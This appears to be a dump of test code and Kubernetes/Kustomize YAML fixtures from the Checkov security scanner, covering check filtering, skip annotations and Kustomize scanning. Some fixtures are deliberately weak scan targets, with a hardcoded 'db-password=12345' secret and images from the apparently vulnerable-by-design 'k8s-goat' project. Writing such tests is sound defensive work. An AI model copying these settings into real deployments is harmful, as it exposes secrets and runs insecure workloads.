TestCheck('CKV_1', severity=Severities[BcSeverities.LOW]) self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_skip_severity_implicit(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["HIGH"]) check = TestCheck('CKV_1', severity=Severities[BcSeverities.LOW]) self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_skip_severity_omitted(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["LOW"]) check = TestCheck('CKV_1', severity=Severities[BcSeverities.HIGH]) self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_specific_enable_bc_id(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["BC_CKV_1"], skip_checks=[]) check = TestCheck('CKV_1', 'BC_CKV_1') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_omitted_specific_enable(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["CKV_1"], skip_checks=[]) check = TestCheck('CKV_999') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_omitted_specific_enablebc_id(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["BC_CKV_1"], skip_checks=[]) check = TestCheck('CKV_999', 'BC_CKV_999') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_specific_disable(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["CKV_1"]) check = TestCheck('CKV_1') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_specific_disable_bc_id(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["BC_CKV_1"]) check = TestCheck('CKV_1', 'BC_CKV_1') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_omitted_specific_disable(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["CKV_1"]) check = TestCheck('CKV_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_omitted_specific_disable_bc_id(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["BC_CKV_1"]) check = TestCheck('CKV_999', 'BC_CKV_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["CKV_1"]) run_filter.notify_external_check("CKV_EXT_999") check = TestCheck('CKV_EXT_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external2(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["CKV_1"], skip_checks=["CKV_2"]) run_filter.notify_external_check("CKV_EXT_999") check = TestCheck('CKV_EXT_999') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external3(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["CKV_EXT_999"], skip_checks=[]) run_filter.notify_external_check("CKV_EXT_999") check = TestCheck('CKV_EXT_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external4(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["CKV_1"], skip_checks=["CKV_2"], all_external=True) run_filter.notify_external_check("CKV_EXT_999") check = TestCheck('CKV_EXT_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external_disabled(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["CKV_1", "CKV_EXT_999"]) run_filter.notify_external_check("CKV_EXT_999") check = TestCheck('CKV_EXT_999') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external_custom(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["K8S_EXT_999"], skip_checks=[]) run_filter.notify_external_check("K8S_EXT_999") check = TestCheck('K8S_EXT_999') self.assertTrue(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) def test_run_by_id_external_custom_disabled(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["K8S_EXT_999"]) run_filter.notify_external_check("K8S_EXT_999") check = TestCheck('K8S_EXT_999') self.assertFalse(instance._should_run_scan(check, {}, run_filter, CheckType.KUBERNETES)) # Namespace filtering def test_namespace_allow_default(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["default"], skip_checks=[]) config = {"metadata": {"namespace": "not_matched"}} check = TestCheck('CKV_1') self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) def test_namespace_deny_default(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["default"]) config = {"metadata": {"namespace": "not_matched"}} check = TestCheck('CKV_1') self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) def test_namespace_allow_specific(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["matched"], skip_checks=[]) config = {"metadata": {"namespace": "matched"}} check = TestCheck('CKV_1') self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) def test_namespace_deny_specific(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["matched"]) config = {"metadata": {"namespace": "matched"}} check = TestCheck('CKV_1') self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) def test_namespace_allow_specific_other(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=["something_else"], skip_checks=[]) config = {"metadata": {"namespace": "not_matched"}} check = TestCheck('CKV_1') self.assertFalse(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) def test_namespace_deny_specific_other(self): instance = Registry(report_type=CheckType.KUBERNETES) run_filter = RunnerFilter(checks=[], skip_checks=["something_else"]) config = {"metadata": {"namespace": "not_matched"}} check = TestCheck('CKV_1') self.assertTrue(instance._should_run_scan(check, config, run_filter, CheckType.KUBERNETES)) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kubernetes/test_kubernetes_utils.py ================================================ from operator import itemgetter from checkov.kubernetes.kubernetes_utils import get_skipped_checks def test_get_skipped_checks(): # given manifest = { "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "nginx", "labels": {"test": "test", "__startline__": 6, "__endline__": 7}, "annotations": { "checkov.io/skip1": "CKV_K8S_11=I have not set CPU limits as I want BestEffort QoS", "checkov.io/skip2": "CKV2_CUSTOM_1=I have not set CPU limits as I want BestEffort QoS", "checkov.io/skip3": "CKV_K8S_14", "checkov.io/skip4": "CUSTOM_1", "__startline__": 8, "__endline__": 12, }, "__startline__": 4, "__endline__": 12, }, "spec": { "containers": [ { "name": "nginx", "image": "nginx:1.14.2", "ports": [{"containerPort": 80, "__startline__": 17, "__endline__": 17}], "__startline__": 14, "__endline__": 17, } ], "__startline__": 13, "__endline__": 17, }, "__startline__": 1, "__endline__": 17, } # when skipped = get_skipped_checks(entity_conf=manifest) # then # remove 'bc_id' if present for skip in skipped: skip.pop("bc_id", None) assert sorted(skipped, key=itemgetter("id")) == sorted( [ {"id": "CKV_K8S_11", "suppress_comment": "I have not set CPU limits as I want BestEffort QoS"}, {"id": "CKV2_CUSTOM_1", "suppress_comment": "I have not set CPU limits as I want BestEffort QoS"}, {"id": "CKV_K8S_14", "suppress_comment": "No comment provided"}, {"id": "CUSTOM_1", "suppress_comment": "No comment provided"}, ], key=itemgetter("id"), ) ================================================ FILE: tests/kubernetes/test_scanner_registry.py ================================================ import unittest from checkov.kubernetes.checks.resource.registry import registry class TestScannerRegistry(unittest.TestCase): def test_num_of_scanners(self): scanners_counter = 0 for key in list(registry.checks.keys()): scanners_counter += len(registry.checks[key]) self.assertGreater(scanners_counter, 1) def test_non_colliding_check_ids(self): check_id_check_class_map = {} for (resource_type, checks) in registry.checks.items(): for check in checks: check_id_check_class_map.setdefault(check.id, []).append(check) for check_id, check_classes in check_id_check_class_map.items(): self.assertEqual(len(set(check_classes)), 1) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/kustomize/__init__.py ================================================ ================================================ FILE: tests/kustomize/graph/__init__.py ================================================ ================================================ FILE: tests/kustomize/graph/resources/empty_resources/graph_check.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: internal-proxy-deployment labels: app: internal-proxy spec: selector: matchLabels: app: internal-proxy template: metadata: labels: app: internal-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: apps/v1 kind: Deployment metadata: name: external-proxy-deployment labels: app: external-proxy spec: selector: matchLabels: app: external-proxy template: metadata: labels: app: external-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: app: internal-proxy policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - podSelector: matchLabels: app: internal-proxy ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 --- apiVersion: apps/v1 kind: Deployment metadata: name: skipdeployment annotations: "checkov.io/skip": "CKV2_K8S_6=skip it" labels: app: skip spec: selector: matchLabels: app: skip template: metadata: labels: app: skip spec: containers: - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 ================================================ FILE: tests/kustomize/graph/resources/empty_resources/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization resources: # - graph_check.yaml ================================================ FILE: tests/kustomize/graph/resources/example_checks/graph_check.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: internal-proxy-deployment labels: app: internal-proxy spec: selector: matchLabels: app: internal-proxy template: metadata: labels: app: internal-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: apps/v1 kind: Deployment metadata: name: external-proxy-deployment labels: app: external-proxy spec: selector: matchLabels: app: external-proxy template: metadata: labels: app: external-proxy spec: containers: - name: internal-api image: madhuakula/k8s-goat-internal-api resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 3000 - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 --- apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: test-network-policy namespace: default spec: podSelector: matchLabels: app: internal-proxy policyTypes: - Ingress - Egress ingress: - from: - ipBlock: cidr: 172.17.0.0/16 except: - 172.17.1.0/24 - podSelector: matchLabels: app: internal-proxy ports: - protocol: TCP port: 6379 egress: - to: - ipBlock: cidr: 10.0.0.0/24 ports: - protocol: TCP port: 5978 --- apiVersion: apps/v1 kind: Deployment metadata: name: skipdeployment annotations: "checkov.io/skip": "CKV2_K8S_6=skip it" labels: app: skip spec: selector: matchLabels: app: skip template: metadata: labels: app: skip spec: containers: - name: info-app image: madhuakula/k8s-goat-info-app resources: limits: cpu: 30m memory: 40Mi requests: cpu: 30m memory: 40Mi ports: - containerPort: 5000 ================================================ FILE: tests/kustomize/graph/resources/example_checks/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization resources: - graph_check.yaml ================================================ FILE: tests/kustomize/graph/test_running_graph_checks.py ================================================ from pathlib import Path import pytest from pytest_mock import MockerFixture import os from checkov.kustomize.runner import Runner from checkov.runner_filter import RunnerFilter from tests.graph_utils.utils import GRAPH_FRAMEWORKS from tests.kustomize.utils import kustomize_exists def get_kustomize_summary(mocker: MockerFixture, graph_framework, scan_dir_path): dir_rel_path = os.path.realpath(scan_dir_path).replace('\\', '/') runner_filter = RunnerFilter(framework=["kustomize"], checks=["CKV2_K8S_6"]) mocker.patch.dict("os.environ", {"CHECKOV_GRAPH_FRAMEWORK": graph_framework}) runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" report = runner.run(root_folder=dir_rel_path, runner_filter=runner_filter, external_checks_dir=None) summary = report.get_summary() return summary @pytest.mark.skipif(not kustomize_exists(), reason="kustomize not installed") @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_runner(mocker: MockerFixture, graph_framework): scan_dir_path = Path(__file__).parent / "resources" / "example_checks" summary = get_kustomize_summary(mocker=mocker, graph_framework=graph_framework, scan_dir_path=scan_dir_path) assert summary["passed"] == 1 assert summary["failed"] == 1 assert summary["skipped"] == 1 assert summary["parsing_errors"] == 0 @pytest.mark.skipif(not kustomize_exists(), reason="kustomize not installed") @pytest.mark.parametrize("graph_framework", GRAPH_FRAMEWORKS) def test_empty_resources(mocker: MockerFixture, graph_framework): scan_dir_path = Path(__file__).parent / "resources" / "empty_resources" summary = get_kustomize_summary(mocker=mocker, graph_framework=graph_framework, scan_dir_path=scan_dir_path) assert summary["passed"] == 0 assert summary["failed"] == 0 assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 ================================================ FILE: tests/kustomize/runner/__init__.py ================================================ ================================================ FILE: tests/kustomize/runner/resources/example/base/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: selector: matchLabels: app: sl-demo-app template: metadata: labels: app: sl-demo-app spec: containers: - name: app image: foo/bar:latest ports: - name: http containerPort: 8080 protocol: TCP ================================================ FILE: tests/kustomize/runner/resources/example/base/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization resources: - service.yaml - deployment.yaml ================================================ FILE: tests/kustomize/runner/resources/example/base/service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: sl-demo-app spec: ports: - name: http port: 8080 selector: app: sl-demo-app ================================================ FILE: tests/kustomize/runner/resources/example/no_type/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/dev/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/dev/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/dev/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization bases: - ../../base patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/dev/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/example/overlays/empty/kustomization.yaml ================================================ # just an empty file, shouldn't crash the run ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization bases: - ../../base patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-2/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-2/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-2/kustomization.yml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization bases: - ../../base patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-2/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-3/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-3/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-3/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization bases: - ../../base patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-3/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-4/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-4/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-4/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization bases: - ../../base patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/prod-4/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/example/overlays/test/custom-env.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app # (1) env: - name: CUSTOM_ENV_VARIABLE value: Value defined by Kustomize ❤️ ================================================ FILE: tests/kustomize/runner/resources/example/overlays/test/database-secret.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: template: spec: containers: - name: app env: - name: "DB_PASSWORD" valueFrom: secretKeyRef: name: sl-demo-app key: db.password ================================================ FILE: tests/kustomize/runner/resources/example/overlays/test/kustomization.yaml ================================================ apiVersion: kustomize.config.k8s.io/v1beta1 kind: Kustomization patchesStrategicMerge: - custom-env.yaml - replica-and-rollout-strategy.yaml - database-secret.yaml secretGenerator: - literals: - db-password=12345 name: sl-demo-app type: Opaque images: - name: foo/bar newName: foo/bar newTag: 3.4.5 ================================================ FILE: tests/kustomize/runner/resources/example/overlays/test/replica-and-rollout-strategy.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: sl-demo-app spec: replicas: 10 strategy: rollingUpdate: maxSurge: 1 maxUnavailable: 1 type: RollingUpdate ================================================ FILE: tests/kustomize/runner/resources/image_referencer/base/deployment.yaml ================================================ apiVersion: apps/v1 kind: Deployment metadata: name: wordpress labels: app: wordpress spec: selector: matchLabels: app: wordpress strategy: type: Recreate template: metadata: labels: app: wordpress spec: containers: - image: wordpress:4.8-apache name: wordpress ports: - containerPort: 80 name: wordpress volumeMounts: - name: wordpress-persistent-storage mountPath: /var/www/html volumes: - name: wordpress-persistent-storage emptyDir: {} ================================================ FILE: tests/kustomize/runner/resources/image_referencer/base/kustomization.yaml ================================================ resources: - deployment.yaml - service.yaml ================================================ FILE: tests/kustomize/runner/resources/image_referencer/base/service.yaml ================================================ apiVersion: v1 kind: Service metadata: name: wordpress labels: app: wordpress spec: ports: - port: 80 selector: app: wordpress type: LoadBalancer ================================================ FILE: tests/kustomize/runner/resources/image_referencer/overlays/prod/kustomization.yaml ================================================ resources: - ../../base namePrefix: prod- ================================================ FILE: tests/kustomize/test_runner.py ================================================ import os import unittest from pathlib import Path from unittest import mock from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.runner_filter import RunnerFilter from checkov.kustomize.runner import Runner from tests.kustomize.utils import kustomize_exists def _setup_test_under_example(): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "example") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" checks_allowlist = ['CKV_K8S_37'] return checks_allowlist, dir_rel_path, runner class TestRunnerValid(unittest.TestCase): @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_runner_honors_enforcement_rules(self): current_dir = os.path.dirname(os.path.realpath(__file__)) scan_dir_path = os.path.join(current_dir, "runner", "resources", "example") # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" filter = RunnerFilter(framework=['kustomize'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.KUSTOMIZE: Severities[BcSeverities.OFF]} report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=filter) self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_record_relative_path_with_relative_dir(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal checks_allowlist, dir_rel_path, runner = _setup_test_under_example() report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertIn(record.file_path, record.file_abs_path) self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') assert record.file_path.startswith(('/base', '/overlays')) @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_record_relative_path_with_relative_dir_with_origin_annotations(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal with mock.patch.dict(os.environ, {"CHECKOV_ALLOW_KUSTOMIZE_FILE_EDITS": "True"}): checks_allowlist, dir_rel_path, runner = _setup_test_under_example() report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertIn(record.file_path, record.file_abs_path) self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') assert record.file_path.startswith(('/base', '/overlays')) assert record.caller_file_path == '/base/deployment.yaml' or record.caller_file_path == '/deployment.yaml' assert record.caller_file_line_range == (2, 24) @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_record_relative_path_with_direct_oberlay(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal scan_dir_path = Path(__file__).parent / "runner/resources/example/overlays/dev" # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" checks_allowlist = ['CKV_K8S_37'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertNotEqual(record.file_path, record.file_abs_path) self.assertIn(record.file_path, record.file_abs_path) self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_record_relative_path_with_direct_prod2_oberlay(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal scan_dir_path = Path(__file__).parent / "runner/resources/example/overlays/prod-2" # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" checks_allowlist = ['CKV_K8S_37'] report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'], checks=checks_allowlist)) all_checks = report.failed_checks + report.passed_checks self.assertGreater(len(all_checks), 0) # ensure that the assertions below are going to do something for record in all_checks: self.assertNotEqual(record.file_path, record.file_abs_path) self.assertIn(record.file_path, record.file_abs_path) self.assertEqual(record.repo_file_path, f'/{dir_rel_path}{record.file_path}') @unittest.skipIf(os.name == "nt" or not kustomize_exists(), "kustomize not installed or Windows OS") def test_no_file_type_exists(self): # test whether the record's repo_file_path is correct, relative to the CWD (with a / at the start). # this is just constructing the scan dir as normal scan_dir_path = Path(__file__).parent / "runner/resources/example/no_type" # this is the relative path to the directory to scan (what would actually get passed to the -d arg) dir_rel_path = os.path.relpath(scan_dir_path).replace('\\', '/') runner = Runner() runner.templateRendererCommand = "kustomize" runner.templateRendererCommandOptions = "build" report = runner.run(root_folder=dir_rel_path, external_checks_dir=None, runner_filter=RunnerFilter(framework=['kustomize'])) all_checks = report.failed_checks + report.passed_checks self.assertEqual(len(all_checks), 0) # we should no get any results 